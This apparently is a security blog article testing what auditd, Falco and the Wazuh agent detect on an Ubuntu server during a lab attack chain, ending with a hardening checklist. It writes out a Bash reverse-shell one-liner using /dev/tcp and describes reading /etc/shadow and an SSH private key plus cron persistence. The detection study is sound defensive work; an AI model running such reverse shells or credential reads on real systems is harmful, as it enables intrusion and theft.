Security

What a Linux EDR Agent Sees on a Server (Tested)

An EDR agent on a Linux server watches four things: processes as they execute, network connections as they open, files as they are read or written, and logins as they happen. Everything a detection product claims to catch is built on that raw stream. The useful question is not the vendor badge on the box, but which of those events reaches an analyst when an attacker runs a real chain, and which fall through the gaps in a default install.

Original content from computingforgeeks.com - post 182656

So we built the stream ourselves. We put three open-source sensors on one Ubuntu server, auditd, Falco with its eBPF probe, and the Wazuh agent reporting to a manager, then ran one scripted attack chain: a reverse shell, cron persistence, and a read of /etc/shadow and an SSH private key. Every log line below was captured on that box in November 2026 on Ubuntu 24.04 with AppArmor enforcing, so the blind spots are real. We didn’t run a commercial Linux EDR here; those products hook the same kernel events, and we cover what their own docs say, labelled as untested.

What a Linux EDR agent collects

A Linux endpoint agent collects four classes of event, and almost every detection rule is a pattern over one of them. Knowing the four tells you where a given sensor is strong and where it is deaf, because each sensor hooks some classes and ignores others.

  • Process execution: every execve, with the command line, the parent, and the user. This is the richest source, and it catches the attacker’s tools regardless of how they got on disk.
  • Network activity: outbound connects and listening sockets. A reverse shell lives here, and it is the event most often missed on a plain host.
  • File access: reads and writes to paths that matter, /etc/shadow, SSH keys, cron directories, sudoers. Credential theft and persistence both show up as file events.
  • Authentication: sudo, su, SSH logins, PAM sessions, read from the system logs rather than the kernel.

Commercial EDR folds all four into one agent with its own cloud backend. The open-source sensors split the work: auditd and Falco read the kernel directly, Wazuh leans on auditd and the system logs and adds file integrity monitoring. The rest of this page shows what each one actually produced against the same attack.

The lab: one target, three sensors, different hooks

The target is a single Ubuntu 24.04.4 VM on kernel 6.8, named edr-lab01. A second VM, siem01, runs the Wazuh manager and plays the attacker holding the listener. The point of the setup is that all three sensors watch the same kernel on the same box, but they tap it in different places, which is exactly why they disagree about what happened.

Architecture of auditd, Falco and the Wazuh agent tapping the same Linux kernel on one host as event streams, with the Wazuh agent reporting to a manager VM and auditd ingestion marked optional

The versions matter, because the kernel is what decides the eBPF story. auditd reads the kernel audit subsystem through rules you load with auditctl. Falco 0.45 loads a modern eBPF probe that attaches to syscall tracepoints, the default driver in current packages on any kernel new enough for BPF ring buffers and BTF, which 6.8 is. The Wazuh agent is a hybrid: it tails logs and runs file integrity scans by default, and it can also ingest auditd records once you add the audit log as a localfile and load the audit rules, which a stock install does not do. Here is the box with all three armed.

Terminal showing kernel 6.8.0-106, auditd 3.1.2, Falco 0.45.2 with the modern eBPF driver, and all three sensors active on Ubuntu 24.04

auditd ran with a small, deliberate ruleset: a read watch on /etc/shadow, a write watch on /etc/cron.d, and a catch-all on the execve syscall. That last rule is the one most hardening guides recommend, and it is the one whose gap matters most below.

The attack chain we ran

The chain is three steps a real intruder runs in order, kept lab-scoped with RFC1918 addresses and a throwaway test key. First, a Bash reverse shell back to the attacker at 10.0.1.60:4444, the classic bash -i >& /dev/tcp/<ip>/<port> 0>&1. Second, persistence: a dropper written to /etc/cron.d/ and an entry added to the user crontab. Third, credential access: a read of /etc/shadow and of a private key under ~/.ssh. The reverse shell connected cleanly.

Attacker terminal showing the reverse shell from the target connecting back to the netcat listener on port 4444

Nothing here is exotic. It is the chain that shows up in incident reports every week, and it is a fair test precisely because a competent sensor should catch all three stages. Now compare what each one did.

What auditd recorded

auditd recorded the process and the credential read, and it missed the network connection. The execve rule caught the interactive shell as proctitle=bash -i, the /etc/shadow watch logged the cat with auid=mercy uid=root, and the tee into /etc/cron.d showed up under its key. But a grep of the whole window for syscall=connect returns zero, because the ruleset watched execution and files, not sockets.

auditd records showing the bash -i process, the cat of /etc/shadow, and zero connect syscalls captured

That is the first lesson, and it is a configuration lesson, not a tool failure. auditd sees whatever you write a rule for and nothing else. It caught the reverse shell’s process but not its connection, so an analyst who only alerts on network events would never see this shell. Catching the outbound socket needs a connect syscall rule, which most starter rulesets leave out because it is noisy. The raw records are also verbose and unreadable without tooling, which is why auditd is almost always a feeder for something else rather than the thing an analyst stares at.

What Falco caught with its default rules

Falco, running its stock ruleset, fired exactly one alert for the entire chain: the /etc/shadow read, tagged container_id=host. The reverse shell raised nothing. The cron persistence raised nothing. One high-value event out of three, and the two it missed are the two that’d tell you an intrusion is in progress, not already done.

Falco default ruleset raising a single Warning on the /etc/shadow read, and the rule list showing the reverse-shell and netcat rules are scoped to containers

The misses are not random. Falco’s rule for a shell redirecting its streams to a socket is literally named “Redirect STDOUT/STDIN to Network Connection in Container,” and its netcat rule is container-scoped too. Both carry a container.id != host condition, so a reverse shell from a plain host process can’t match. The “Schedule Cron Jobs” rule that would catch the /etc/cron.d write lives in the incubating ruleset, which ships disabled. By default, Falco is tuned for container workloads, and on a bare server it is far quieter than its reputation suggests. It is excellent, but only after you load the incubating and sandbox rules and accept the tuning work that follows.

What the Wazuh agent reported

Wazuh produced the most readable result of the three, because it decodes events into named rules with severity levels. The manager raised rule 5402, “Successful sudo to ROOT executed,” twice, once for the cat /etc/shadow and once for the tee into /etc/cron.d, and it raised rule 2832, “Crontab entry changed,” for the user crontab edit. Three of the chain’s actions turned into graded alerts an analyst can triage.

Wazuh manager alerts.log showing rule 5402 for the shadow read and the cron.d write, and rule 2832 for the crontab change

Wazuh caught those through its sudo and cron log decoders, not through file integrity monitoring, and that distinction is the trap. FIM watches /etc by default, so you might expect the new /etc/cron.d dropper to raise a file-added alert on its own. It doesn’t, at least not right away. By default /etc is scanned on a schedule every twelve hours with no realtime watch, so a brand-new persistence file stays invisible to stock FIM until the next scan runs. The dropper was caught here only because the attacker used sudo to write it; a root shell writing the same file directly would have slipped past until that scan came around hours later. If you are standing up the server side, our Wazuh install guide for Ubuntu covers the 4.14 agent and manager this lab used, and the Wazuh 5 walkthrough covers the next release.

Which sensor saw what

Line the three up against the chain and the pattern is clear: each sensor is strong on a different class of event, and all three default configs share the same two blind spots. The table below is the captured result, not a feature matrix.

Attack stepauditd (execve + file rules)Falco (default rules)Wazuh agent (default)
Reverse shell process (bash -i)Seen (execve)MissedMissed
Reverse shell network connectionMissed (no connect rule)Missed (rule is container-only)Missed
cron.d dropper file writtenSeen (file watch)Missed (rule is incubating)Seen (via sudo decoder)
User crontab modifiedSeen (execve)MissedSeen (rule 2832)
Read of /etc/shadowSeen (file watch)Seen (sensitive-file rule)Seen (rule 5402)
Read of SSH private keyMissed (no watch)Missed (not a sensitive file)Missed

Two blind spots are shared by all three. The reverse shell’s outbound connection went unlogged everywhere, because none of the default configs watches the connect syscall on the host. And the SSH private key read went unlogged everywhere, because ~/.ssh/id_ed25519 is not in Falco’s sensitive-file list, not in the auditd watch set, and not a Wazuh decoder trigger. An attacker who reads a key to pivot sideways leaves no trace in any of the three stock setups.

The SSH private key read producing zero alerts across auditd, Falco and Wazuh in their default configurations

The takeaway is not that one sensor wins. auditd gives the richest process and file record but needs rules for everything and tooling to read it. Falco is the sharpest on the kernel but ships tuned for containers. Wazuh gives the most analyst-ready alerts and ships closest to usable on a server, which is why it pairs so often with a wider sensor estate like a Security Onion network sensor. A real deployment runs at least two of them and closes the two shared gaps on purpose.

Commercial Linux EDR agents, from the vendor docs

We did not run a commercial agent in this lab, so the following comes from vendor documentation and is labelled untested. The common thread is that the major agents have all moved to eBPF for the same reason: a kernel module can panic the box, and eBPF cannot.

  • CrowdStrike Falcon for Linux runs in kernel mode or user mode, where user mode uses eBPF. CrowdStrike writes about eBPF in its own engineering blog, but the Falcon sensor’s mode default and supported-kernel matrix sit behind the login-gated console, so treat this as docs-level and untested here.
  • SentinelOne describes its Linux agent as eBPF-based in its own CWPP engineering blog, chosen for kernel visibility without the kernel panics a module can cause. Product-level specifics are behind a login, so untested here.
  • Elastic Defend collects process, file, network and DNS events on Linux, with DNS events and terminal-output capture available only on eBPF-capable hosts, per Elastic’s integration-policy docs. Untested here.
  • Microsoft Defender for Endpoint on Linux ships an eBPF-based sensor that is the default supplementary event provider on current agent builds, and it drops back to Netlink where eBPF is unavailable, which can lose file and socket events. We have a full install walkthrough in Microsoft Defender for Endpoint on Linux. Untested here.

The lesson from the open-source side carries straight over: eBPF decides what the agent can see, so the kernel version and whether the eBPF provider is actually enabled matter more than the brand on the license. A commercial agent in a degraded fallback mode has the same gaps the stock open-source sensors showed above.

Tools in this space

The Linux detection landscape splits into host sensors, the SIEM that collects them, and the wider platforms that package both. These are the current, active projects and products worth knowing, stated plainly and without ranking.

  • auditd: the Linux kernel audit daemon, part of the base OS. The ground truth for process and file events, verbose and rule-driven, almost always a feeder rather than a console.
  • Falco: a CNCF runtime-security project with a modern eBPF probe. Strongest on containers and Kubernetes; needs its incubating and sandbox rules enabled to cover a bare host.
  • Wazuh: an open-source platform combining an agent, log analysis, file integrity monitoring and a rules engine. The most analyst-ready of the open tools, and it can ingest auditd records once the audit log and rules are wired in.
  • Elastic Defend: the endpoint agent in Elastic Security, collecting eBPF telemetry (process, file, network and DNS) into the Elastic Stack with detection rules and a hunting UI.
  • CrowdStrike Falcon: a commercial EDR whose Linux sensor runs in kernel mode or user mode, with the eBPF user mode now the default on recent sensor builds.
  • SentinelOne Singularity: a commercial platform whose Linux agent is eBPF-based, chosen for kernel visibility without the risk of a kernel module panicking the host.
  • Microsoft Defender for Endpoint: a commercial EDR with an eBPF sensor on Linux. We have a full install walkthrough in Defender for Endpoint on Linux, and the broader category is covered in cloud workload protection platforms.
  • Suricata: a network IDS/IPS rather than a host agent, but the standard pairing for the reverse-shell traffic the host sensors missed. See our Suricata install guide.

If your interest is less the tooling and more the methods it is meant to catch, our AI pentesting tools round-up, the breakdown of SAST and DAST tools that catch flaws before they ship, and the threat hunting books list all go deeper on the offense and the hunt.

Close the gaps this test exposed

Whichever sensor you run, the chain above says what to turn on so these steps do not go unseen. Work down this list on any server you expect to be targeted.

  • An auditd rule on the connect and socket syscalls exists, so a reverse shell’s outbound connection is logged, not just its process.
  • A watch covers SSH private keys and authorized_keys, not only /etc/shadow, so key theft leaves a record.
  • Falco’s incubating and sandbox rulesets are loaded on a bare host, so the cron and host reverse-shell rules are active.
  • Wazuh FIM watches the cron directories in realtime (realtime="yes" or whodata), so a new cron dropper alerts in seconds rather than at the next twelve-hour scan.
  • At least one network sensor sits beside the host agents, because the connection every host sensor missed is visible on the wire.

Run that list and the same chain lights up across every stage. Skip it and you are trusting a default install to see an attack it was never configured to notice, which is the exact assumption this test was built to break.

Sources

Every log line, alert and screenshot above came from the lab run described at the top, not from any of these pages. The sources back the version and behaviour claims around the captured output, nothing more.

Keep reading

UFW Firewall Commands with Examples on Ubuntu 26.04 / 24.04 Security UFW Firewall Commands with Examples on Ubuntu 26.04 / 24.04 PHP2Shell (CVE-2026-109618, CVE-2026-109619): Check and Patch PHP Php PHP2Shell (CVE-2026-109618, CVE-2026-109619): Check and Patch PHP PHP2Shell on End-of-Life PHP 8.1, 8.0 and 7.4 (WHMCS, ionCube) Php PHP2Shell on End-of-Life PHP 8.1, 8.0 and 7.4 (WHMCS, ionCube) Best Pentesting Hardware for Kali Linux in 2026 Security Best Pentesting Hardware for Kali Linux in 2026 APT CVE-2026-109518: Check and Patch Debian and Ubuntu Debian APT CVE-2026-109518: Check and Patch Debian and Ubuntu How Organizations Can Turn Security Findings Into Actionable Improvements Security How Organizations Can Turn Security Findings Into Actionable Improvements

Leave a Comment

Press ESC to close